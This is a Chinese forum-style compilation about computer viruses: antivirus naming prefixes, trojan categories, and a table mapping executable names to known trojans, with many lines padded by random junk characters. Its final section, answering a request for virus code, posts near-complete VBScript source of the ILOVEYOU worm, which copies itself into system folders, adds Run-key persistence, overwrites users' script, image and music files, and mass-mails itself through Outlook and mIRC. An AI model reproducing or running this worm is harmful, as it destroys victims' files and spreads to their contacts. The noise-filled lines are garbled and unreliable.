本文目录一览：
关于电脑病毒的代号
1、系统病毒
系统病毒的前缀为：Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件，并通过这些文件进行传播。如CIH病毒。
2、蠕虫病毒
蠕虫病毒的前缀是：Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播，很大部分的蠕虫病毒都有向外发送带毒邮件，阻塞网络的特性。比如冲击波（阻塞网络），小邮差（发带毒邮件） 等。
3、木马病毒、黑客病毒
木马病毒其前缀是：Trojan，黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏，然后向外界泄露用户的信息，而黑客病毒则有一个可视的界面，能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的，即木马病毒负责侵入用户的电脑，而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.QQ3344 ，还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点，病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能（这些字母一般都为“密码”的英文“password”的缩写）一些黑客程序如：网络枭雄（Hack.Nether.Client）等。
4、脚本病毒
脚本病毒的前缀是：Script。脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码（Script.Redlof）——可不是我们的老大代码兄哦 ^_^。脚本病毒还会有如下前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。
5、宏病毒
其实宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。宏病毒的前缀是：Macro，第二前缀是：Word、Word97、Excel、Excel97（也许还有别的）其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀，格式是：Macro.Word97；凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀，格式是：Macro.Word；凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀，格式是：Macro.Excel97；凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀，格式是：Macro.Excel，依此类推。该类病毒的公有特性是能感染OFFICE系列文档，然后通过OFFICE通用模板进行传播，如：著名的美丽莎(Macro.Melissa)。
6、后门病毒
后门病毒的前缀是：Backdoor。该类病毒的公有特性是通过网络传播，给系统开后门，给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门Backdoor.IRCBot 。
7、病毒种植程序病毒
这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下，由释放出来的新病毒产生破坏。如：冰河播种者（Dropper.BingHe2.2C）、MSN射手(Dropper.Worm.Smibag)等。
8．破坏性程序病毒
破坏性程序病毒的前缀是：Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒便会直接对用户计算机产生破坏。如：格式化C盘（Harm.formatC.f）、杀手命令（Harm.Command.Killer）等。
9．玩笑病毒
玩笑病毒的前缀是：Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒会做出各种破坏操作来吓唬用户，其实病毒并没有对用户电脑进行任何破坏。如：女鬼（Joke.Girlghost）病毒。
10．捆绑机病毒
捆绑机病毒的前缀是：Binder。这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来，表面上看是一个正常的文件，当用户运行这些捆绑病毒时，会表面上运行这些应用程序，然后隐藏运行捆绑在一起的病毒，从而给用户造成危害。如：捆绑QQ（Binder.QQPass.QQBin）、系统杀手（Binder.killsys）等
请问谁知道：所有木马（包括QQ木马）和病毒的名称？
您好
1，全部的木马病毒有上亿万种了估计。
2，而且病毒并非是有固定名称的，因为木马有伪装性，可以是任何的名字。
3，如果您电脑中毒了，不要自己手动删除，可能会误删系统文件。
4，您可以到腾讯电脑管家官网下载一个电脑管家。
5，使用电脑管家——杀毒——全盘查杀即可，电脑管家拥有2大云杀毒引擎和全国最大的云病毒库，可以查杀各种流行顽固木马病毒，保护电脑安全不受木马病毒侵袭。
如果还有其他疑问和问题，欢迎再次来电脑管家企业平台进行提问，我们将尽全力为您解答疑难
谁能给个 所有病毒 木马 的名称
一 木马的种类: PQ'k{
1破坏型 / qE2YeAv
zB2EnbQ,
惟一的功能就是破坏并且删除文件，可以自动的删除电脑上的DLL、INI、EXE文件 b ,::S
0BzV}`2
2、密码发送型 DXNF2^1.A
hK@i j
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中，认为这样方便；还有人喜欢用WINDOWS提供的密码记忆功能，这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件，把它们送到黑客手中。也有些黑客软件长期潜伏，记录操作者的键盘操作，从中寻找有用的密码。 |#3}%4x
4n!+s 8[
3、远程访问型 v-cO 2 r
E~ty@
最广泛的是特洛伊马，只需有人运行了服务端程序，如果客户知道了服务端的IP地址，就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么，当然这个程序完全可以用在正道上的，比如监视学生机的操作。 #C*a@q3
uLZ U|\r
#5EP#? mf)
4.键盘记录木马 O3Ar' 2+
[bHxkb/k%-
这种特洛伊木马是非常简单的。它们只做一件事情，就是记录受害者的键盘敲击并且在LOG文件里查找密码。 9N$iht"\
^ab r$.
:-mya
5.DoS攻击木马 :\S;K[GBX
_ %}K1*
随着DoS攻击越来越广泛的应用，被用作DoS攻击的木马也越来越流行起来。当你入侵了一台机器，给他种上DoS攻击木马，那么日后这台计算机就成为你DoS攻击的最得力助手了。你控制的肉鸡数量越多，你发动DoS攻击取得成功的机率就越大。所以，这种木马的危害不是体现在被感染计算机上，而是体现在攻击者可以利用它来攻击一台又一台计算机，给网络造成很大的伤害和带来损失。 Q,} pf
()p`}w(
SX(n+( c
6.代理木马 BF7U.'b@w
gs5XU3UZ0
黑客在入侵的同时掩盖自己的足迹，谨防别人发现自己的身份是非常重要的，因此，给被控制的肉鸡种上代理木马，让其变成攻击者发动攻击的跳板就是代理木马最重要的任务。通过代理木马，攻击者可以在匿名的情况下使用Telnet,ICQ,IRC等程序，从而隐蔽自己的踪迹 c QUsF9F|
opS~u:
wQ1qYmh
7.FTP木马 HFq XaRo"
8mq9; |qh
这种木马可能是最简单和古老的木马了，它的惟一功能就是打开21端口，等待用户连接。现在新FTP木马还加上了密码功能，这样，只有攻击者本人才知道正确的密码，从而进人对方计算机。 % /V)% %6
lHpM^T!p?
8.程序杀手木马 ]|8mm|
*y5 3~h
上面的木马功能虽然形形色色，不过到了对方机器上要发挥自己的作用，还要过防木马软件这一关才行。常见的防木马软件有ZoneAlarm,Norton Anti-Virus等。程序杀手木马的功能就是关闭对方机器上运行的这类程序，让其他的木马更好地发挥作用 %V]X4w
,a+T2Oc
];+oPY6
9.反弹端口型木马 PCP'Fsc)(
Wr3%)ys;'
木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤，但是对于连出的链接却疏于防范。于是，与一般的木马相反，反弹端口型木马的服务端 (被控制端)使用主动端口，客户端 (控制端)使用被动端口。木马定时监测控制端的存在，发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见，控制端的被动端口一般开在80，即使用户使用扫描软件检查自己的端口，发现类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情况，稍微疏忽一点，你就会以为是自己在浏览网页。 {)QOg-0
WW#e5}?gG
bo*N
二: DLGa8}MM2}
1开机磁区病毒 5jnH-`sP
|c*, T
2档案型病毒 FTx,
uq{}E]u
3巨集病毒 |rT! 64
jX$@.%jZp
4其他新种类的病毒 | ,~BEC1
@ *$D-c T
8{jjZP~c
y$u!-
u4f i07_
^ hx 9
三: Mf#Y!-r
5DnjD
6J=%!"z'~i
1计算机病毒名称 0ZEo$=
m=Z\ua3
` slYw
冲击波（WORM_MSBlast.A） 1| 6%
W97M_Etkill(宏病毒) iI7 2,SM/N
捣毁者(W97M_ TRASHER.D) s$|"Kw#K"
W =;lU/@
.......等等........... 5w8+^/"BG
(sUCCZ+\
nEX? mCq-F
2木马病毒 4ZV_=:N
木马病毒的前缀是：Trojan W?1tgT}
如Q尾巴:Trojan.QQPSW b"Um9p@M
网络游戏木马:Trojan.StartPage.FH等 V,+ $fzR!
!+=P#$
}Es)u$%I
3脚本病毒 h-CC5PcS
脚本病毒的前缀是：Script vxy gw1+Ru
如:红色代码Script.Redlof y T-u47X
)ImR18
M-![;wXy
4系统病毒 W ? s_
系统病毒的前缀为：Win32、PE、Win95、W32、W95等 }#X]GRA`b
如以前有名的CIH病毒就属于系统病毒 WGG#H~
E cF86i
c@N.Yk N
5宏病毒 |q7g+;m
宏病毒的前缀是：Macro，第二前缀有Word、Word97、Excel、Excel97等 8boAly\
如以前著名的美丽莎病毒Macro.Melissa。 "tR CN
}*k]cc:
KvG=]Ljv{
6蠕虫病毒 Q_ZBR{9e
蠕虫病毒的前缀是：Worm O|;j_}1J
大家比较熟悉的这类病毒有冲击波、震荡波等 tvE$A /s
{lnneNp/I
,.Z6unf
7捆绑机病毒 g0tT N
捆绑机病毒的前缀是：Binder VLh%$O_2
如系统杀手Binder.killsys Wdg ._Y
hYLtLV
8后门病毒 /9 Lu
后门病毒的前缀是：Backdoor :Od G=CF
如爱情后门病毒Worm.Lovgate.a/b/c !dnxlS.Q
":fy F_x
L2S=u[YK
9坏性程序病毒 W^W8HXID
破坏性程序病毒的前缀是：Harm -n68J_i^Jp
格式化C盘（Harm.formatC.f）、杀手命令（Harm.Command.Killer）等。 UnVcfJn/C
UF@y3C|"
nU*{2 S
10玩笑病毒 Q M2c,
玩笑病毒的前缀是：Joke pT* HVtD]
如：女鬼（Joke.Girlghost）病毒。 Vh WnDEl
R|c74VjL
Ml(CFh k@!
常见木马名称: 2KrW1\)?V^
~'Tr]jTg3
Mbbmanager.exe → 聪明基因 9$mZbD@,
_.exe → Tryit Mdm.exe → Doly 1.6-1.7 S) F7T5^
Aboutagirl.exe → 初恋情人 Microsoft.exe → 传奇密码使者 q@vatU(
Absr.exe → Backdoor.Autoupder Mmc.exe → 尼姆达病毒 os+t`o5H
Aplica32.exe → 将死者病毒 Mprdll.exe → Bla }Co_F
Avconsol.exe → 将死者病毒 Msabel32.exe → Cain and Abel \P.S
Avp.exe → 将死者病毒 Msblast.exe → 冲击波病毒 z =n\]$tT
Avp32.exe → 将死者病毒 Mschv.exe → Control 2Ay\U.S
Avpcc.exe → 将死者病毒 Msgsrv36.exe → Coma 0^rTUhD2
Avpm.exe → 将死者病毒 Msgsvc.exe → 火凤凰 xpKR\pF
Avserve.exe → 震荡波病毒 Msgsvr16.exe → Acid Shiver T c_u~
Bbeagle.exe → 恶鹰蠕虫病毒 Msie5.exe → Canasson rH6TWE x
Brainspy.exe → BrainSpy vBeta Msstart.exe → Backdoor.livup ]bewW~0
Cfiadmin.exe → 将死者病毒 Mstesk.exe → Doly 1.1-1.5 40_9!AJ
Cfiaudit.exe → 将死者病毒 Netip.exe → Spirit 2000 Beta `{^LEF~QU
Cfinet32.exe → 将死者病毒 Netspy.exe → 网络精灵 VFS-.cLE
Checkdll.exe → 网络公牛 Notpa.exe → Backdoor fC0GN _
Cmctl32.exe → Back Construction Odbc.exe → Telecommando ^jE$F:C|7
Command.exe → AOL Trojan Pcfwallicon.exe → 将死者病毒 6*NmF'DR
Diagcfg.exe → 广外女生 Pcx.exe → Xplorer o)xTJL@e
Dkbdll.exe → Der Spaeher Pw32.exe → 将死者病毒 ah~bW\%
Dllclient.exe → Bobo Recycle - Bin.exe → s**tHeap liu+,0n
Dvldr32.exe → 口令病毒 Regscan.exe → 波特后门变种 B`S0/W{l
Esafe.exe → 将死者病毒 T → 尼姆达病毒 ""g\%i
Expiorer.exe → Acid Battery Thing.exe → Thing s-}q#j
Feweb.exe → 将死者病毒 User.exe → Schwindler Qs0r3\5
Flcss.exe → Funlove病毒 Vp32.exe → 将死者病毒 q!.l%@yK
Frw.exe → 将死者病毒 Vpcc.exe → 将死者病毒 ctgXj]
Icload95.exe → 将死者病毒 Vpm.exe → 将死者病毒 B P9$';$
Icloadnt.exe → 将死者病毒 Vsecomr.exe → 将死者病毒 yzJ{d
Icmon.exe → 将死者病毒 Server.exe → Revenger, WinCrash, YAT pN=R K
Icsupp95.exe → 将死者病毒 Service.exe → Trinoo l|mP ?
Iexplore.exe → 恶邮差病毒 Setup.exe → 密码病毒或Xanadu s.=+4Us
Rpcsrv.exe → 恶邮差病毒 Sockets.exe → Vampire 6G. kgPx
Rundll.exe → SCKISS爱情森林 Something.exe → BladeRunner q? m@sh#
Rundll32.exe→ 狩猎者病毒 Spfw.exe → 瑞波变种PX t;M6wfM^
Runouce.exe → 中国黑客病毒 Svchost.exe (线程105) → 蓝色代码 _(:IP?
Scanrew.exe → 传奇终结者 Sysedit32.exe → SCKISS爱情森林 ZS:%/6Q
Scvhost.exe → 安哥病毒 Sy***plor.exe → wCrat C^brgc
Server 1. 2.exe → Spirit 2000 1.2fixed Sy***plr.exe → 冰河 c{v}peI
Intel.exe → 传奇叛逆 Syshelp.exe → 恶邮差病毒 Uqd4V. ,
Internet.exe → 传奇幽灵 Sysprot.exe → Satans Back Door e7PSV7F@.
Internet.exe → 网络神偷 Sysrunt.exe → Ripper +//D`F9/
Kernel16.exe → Transmission Scount System.exe → s**tHeap q?+/97^7
Kernel32.exe → 坏透了或冰河 System32.exe → DeepThroat 1.0 }Q~@$HhZ
Kiss.exe → 传奇天使 Systray.exe → DeepThroat 2.0-3.1 wq !JS
Krn132.exe → 求职信病毒 Syswindow.exe → Trojan Cow mHW~,Fujk=
Libupdate.exe → BioNet Task_Bar.exe
谁有木马或病毒代码 用那种文本文档的
你可以看看这个：
:)
rem barok -loveletter(vbe) i hate go to school
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group
/ Manila,Philippines
On Error Resume Next
dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
Scripting Host\\Settings\\Timeout")
if (rr=1) then -设置超时
wscr.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
Scripting Host\\Settings\\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem"\\MSKernel32.vbs") -复制文件
c.Copy(dirwin"\\Win32DLL.vbs") -复制文件
c.Copy(dirsystem"\\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MSKernel32",dirsystem"\\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\Win32DLL",dirwin"\\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\Download Directory")
if (downread="") then
downread="c:\\"
end if
if (fileexist(dirsystem"\\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
elseif num = 2 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
elseif num = 3 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
elseif num = 4 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
end if
end if
if (fileexist(downread"\\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WIN-BUGSFIX",downread"\\WIN-BUGSFIX.exe"
regcreate
"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path"\\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or
(ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec"\\"bname".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eqfolderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or
(s="mirc.ini") or (s="script.ini") or (s="mirc.hlp")
then
set
scriptini=fso.CreateTextFile(folderspec"\\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script...
mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect
and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine "; "
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt
}"
scriptini.WriteLine "n2= /.dcc send $nick
"dirsystem"\\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim
x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf"kindly check the attached
LOVELETTER coming from me."
male.Attachments.Add(dirsystem"\\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="HTMLHEADTITLELOVELETTER -
HTML?-?TITLEMETA NAME=@- @ Generator@- @
CONTENT=@- @BAROK VBS - LOVELETTER@- @"vbcrlf _
"META NAME=@- @ Author@- @ CONTENT=@- @spyder ?-?
ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila,
Philippines ?-? March 2000@- @"vbcrlf _
"META NAME=@- @ Description@- @ CONTENT=@- @simple but i
think this is good...@- @"vbcrlf _
"?-?HEADBODY
onmouseOUT=@- @window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
"vbcrlf _
" ONKEYDOWN=@- @window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@- @ fixed@- @
BGCOLOR=@- @ #FF9933@- @"vbcrlf _
"CENTERpThis HTML file need ActiveX
Control?-?ppTo Enable to read this HTML fileBR-
Please press #-#YES#-# button to Enable
ActiveX?-?p"vbcrlf _
"?-?CENTERMARQUEE LOOP=@- @ infinite@- @
BGCOLOR=@- @ yellow@- @----------z--------------------z----------?-?MARQUEE
"vbcrlf _
"?-?BODY?-?HTML"vbcrlf _
"SCRIPT language=@- @ JScript@- @"vbcrlf _
"!--?-??-?"vbcrlf _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"vbcrlf
_
"?-??-?--"vbcrlf _
"?-?SCRIPT"vbcrlf _
"SCRIPT LANGUAGE=@- @ VBScript@- @"vbcrlf _
"!--"vbcrlf _
"on error resume next"vbcrlf _
"dim
fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"vbcrlf
_
"aw=1"vbcrlf _
"code="
dta2="set
fso=CreateObject(@-@ Scripting.FileSystemObject@- @)"vbcrlf
_
"set dirsystem=fso.GetSpecialFolder(1)"vbcrlf _
"code2=replace(code,chr(91)chr(45)chr(91),chr(39))"vbcrlf
_
"code3=replace(code2,chr(93)chr(45)chr(93),chr(34))"vbcrlf
_
"code4=replace(code3,chr(37)chr(45)chr(37),chr(92))"vbcrlf
_
"set
wri=fso.CreateTextFile(dirs dirsystem@- @ ^-^MSKernel32.vbs@- @)"vbcrlf
_
"wri.write code4"vbcrlf _
"wri.close"vbcrlf _
"if
(fso.FileExists(dirs dirsystem@- @ ^-^MSKernel32.vbs@- @))
then"vbcrlf _
"if (err.number=424) then"vbcrlf _
"aw=0"vbcrlf _
"end if"vbcrlf _
"if (aw=1) then"vbcrlf _
"document.write @-@ERROR: can#-#t initialize
ActiveX@- @"vbcrlf _
"window.close"vbcrlf _
"end if"vbcrlf _
"end if"vbcrlf _
"Set regedit =
CreateObject(@-@ WScript.Shell@- @)"vbcrlf _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Soft ware^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@- @,dirs dirsystem@- @ ^-^MSKernel32.vbs@- @"vbcrlf
_
"?-??-?--"vbcrlf _
"?-?SCRIPT"
dt1=replace(dta1,chr(35)chr(45)chr(35),"\'")
dt1=replace(dt1,chr(64)chr(45)chr(64),"""")
dt4=replace(dt1,chr(63)chr(45)chr(63),"/")
dt5=replace(dt4,chr(94)chr(45)chr(94),"\\")
dt2=replace(dta2,chr(35)chr(45)chr(35),"\'")
dt2=replace(dt2,chr(64)chr(45)chr(64),"""")
dt3=replace(dt2,chr(63)chr(45)chr(63),"/")
dt6=replace(dt3,chr(94)chr(45)chr(94),"\\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"\'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)"vbcrlf _"
end if
next
set
b=fso.CreateTextFile(dirsystem+"\\LOVE-LETTER-FOR-YOU.HTM")
b.close
set
d=fso.OpenTextFile(dirsystem+"\\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
